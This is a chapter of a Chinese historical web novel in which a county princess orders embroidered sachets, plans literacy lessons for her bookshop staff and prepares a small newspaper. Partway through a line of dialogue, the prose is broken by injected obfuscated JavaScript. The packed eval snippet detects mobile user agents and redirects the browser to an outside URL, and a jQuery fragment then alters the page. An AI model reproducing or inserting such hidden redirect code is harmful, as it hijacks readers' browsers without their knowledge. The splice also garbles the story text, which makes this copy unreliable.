想到这里，她开口说道：“你这香囊一共多少，我全都要了。” 小摊老板先是愣了下，略有些拘谨地扯了扯衣衫，回过神来，脸上露出颇为实在的笑容：“娘子是要全买下吗？小的今日带出来的，一共还有六七十个，家中还备着百十个。这香囊平日里零卖八文一个，娘子若是全都要，便按六文一个给您。” “行，这些我全要了！” 随手抛了抛手中香囊，李铮目光扫过摊上堆着的各式绣品，又笑着补充道：“这些香囊，尽数送到外城书坊里的五柳斋。不过东西须得跟我手上这个一样，差的我可不要！” 倏的，脑海里灵光闪过。既能绣五毒图，那话本人物小像是不是也能绣在香囊上？若是有绣像香囊，说不准爱看话本的会愿意买。 想到这，她拨弄了下摊上的香囊，抬眼看向摊主，温声开口问道：“这些香囊，都是你亲手绣的吗？” 摊主微微一怔，随即笑着解释道：“回贵人，纹样是我画的。香囊是我家里人绣的。她们在家中绣，我白天出来摆摊，晚上回去画纸样。” 李铮听罢微微颔首：“待会去书铺送货时，你也跟着来吧，有幅别人画的小像，想请你瞧瞧，看能否绣在香囊或团扇上，要尽量留住画中人原本的神态。” 摊主心中盘算了下，本就是要往书铺送货，这又是位大方主顾，自然没有推辞的道理，当即笑着应承下来。 李铮说完，转身看向身侧的金竹，吩咐道：“金竹，你随她一起去取货，稍后再一同来书铺。省得她摸不着路。” 说罢，微微颔首示意，转身先行离去。 一进书铺大堂，李铮习惯性四下打量了一眼，今日店里人流比前几日还多些，时不时就有人进来。 当中不少人，若是抬头看到墙上挂着的交流会纪念画，便发出惊呼，然后拉扯同伴衣袖，用手指着，说笑开来。 见张大掌柜在柜台后不知忙活什么，李铮索性走到他跟前，用手敲敲柜台，张大掌柜这才抬头，躬身请安。 “我买了一百多份绣了五毒图的香囊，胜在纹样新奇。先到先得，你看着送给到店的客官吧。” 注意到柜台上的算盘，她又补充道：“香囊走我私账便可，不走铺里公账。也算是我对那些客人们的心意。” 张大掌柜立即笑着回道：“好好好，伙计们要不要也人手一个，让他们也跟着沾沾县主的福气。” 李铮知道这是在哄自己开心，一个香囊不算什么贵重东西，笑着点点头：“那就铺里上工之人，除了原有的端午节礼外，再多加一个香囊。” 张大掌柜笑着做了个揖：“那小的今日就越俎代庖，替大家伙谢谢县主。” 闲话聊完，李铮往二楼雅间走去，张大掌柜紧随其后。 一坐下，她便开口问道：“忽然想起一事，纸铺赵掌柜有说今日什么时辰来吗？” 张大掌柜想了想昨日赵掌柜来时说的话，回道：“说是辰时到，想必也快了。她还挺有心，昨日下午特意来铺里知会了一声。” 李铮不禁点点头，看来这赵掌柜没有一味沉浸在乌糟事中，对送样纸还挺上心。不错不错，可以提高些期待了。希望这纸铺，日后合作能顺顺利利，少生波澜。 等着也是等着，她索性又喊了张娘子过来。一见她进来，李铮便打趣道：“最近为人师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322848|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感觉如何？” 张娘子笑着连连摆手：“现在就别打趣我了，我算什么老师。他们懂得都不少呢，只是识字少而已，头脑都灵活着呢！” 听到这，李铮倏的抬起头，是啊，识字可以先从自家伙计开始。反正主要目的是识些常用字，也不是考科举。 这样一来，对老师要求就低了很多。雇几个书生，每隔一日，打烊后来上半个时辰课。 若是有的伙计不上心，该怎么处理呢？ 有了，就跟学堂一样，每隔一段时间考核下。排名靠前的有奖励，排名靠后的，若是几回下去一直达不到要求，就只能留级了。 之前娘说的依仗，她好像隐约有了点想法。但必须谨慎一点，再谨慎一点。 老师这个人选很是要紧，还是她亲自来挑好了。她想要的老师，既要没有偏见，愿意教这些伙计、手工匠人识字；还得能理解到底要教授什么，不是之乎者也，而是日常用字。 去哪里找呢？ 书铺告示，学堂赵夫子，朋友还有陆祈那。 她可以尽数试试，说不准这人就等着自己发现呢。 见李铮皱着眉头明显在思考，张大掌柜和张娘子在一旁静静等候，不敢贸然出声打扰。 回过神来，李铮看向眼前静等着的两人：“方才在想事情。你们估摸着，初稿大概什么时候能好？” 张大掌柜抚抚胡须，沉吟片刻，开口说道：“店里众人的稿子都写得差不多了。本身分享经验也不用写太多字。”说完看了张娘子一眼。 张娘子立马开口说道：“我这边也有可用的稿子了。” 李铮指尖轻敲桌案，开口说道：“那接下来可以试着排版了。先手抄，咱们试试如何排版合适。” “张娘子，你先选几篇稿子，先排着。提前准备着。这百姓小报，是咱们的新尝试，大家伙都没什么经验，你先参考邸报，琢磨着。” 见张娘子点头应是，李铮又看向张大掌柜：“张大掌柜，接下来，你在铺子外面，贴上告示。铺里打算再雇两个人。” 天热易口渴，李铮抿了口茶，继续说道：“一位是有小报经验的熟手，当然，若是实在雇不到，有意愿来做小报也行。另一位是教识字的夫子。” 张大掌柜面带疑惑反问道：“夫子？县主是想雇夫子吗？” 李铮点点头：“是的，我要雇一位夫子来。” 张大掌柜眉梢扬起，眼神透着迷茫：“小的还有个疑惑，这夫子，是给谁上课呢？” 李铮见两人都面带不解，站起身，笑着说道：“我寻思着，雇个夫子来，给店里的伙计、匠人们上课。这也是来铺子时受到的启发。书铺的伙计竟然没几个识字的。” 两人闻言，眼中疑惑更甚。不识字的伙计满大街多得是，能识字的凤毛麟角。县主竟想着让这些人也识字吗？ 不过二人并未出口反对，只是尽力收敛起脸上的疑惑，静立一旁。 李铮见状忍不住笑出来：“二位若是想不明白，就别想啦。我也只是突发奇想，并非让他们考科举，只是学些日常常用字罢了。” 说着转身走向窗前，看着窗外的人流：“书铺伙计若是人人识字，说出去，也是一桩美事。况且，我开的书铺，日后定要人人都识字的。” 言罢，她轻轻晃了晃攥紧的拳头，朗声笑起来。 张大掌柜和张娘子对视一眼，也跟着浅笑开来。 这厢正聊着，忽听门外传来伙计通禀声：“县主，纸铺赵掌柜到了。”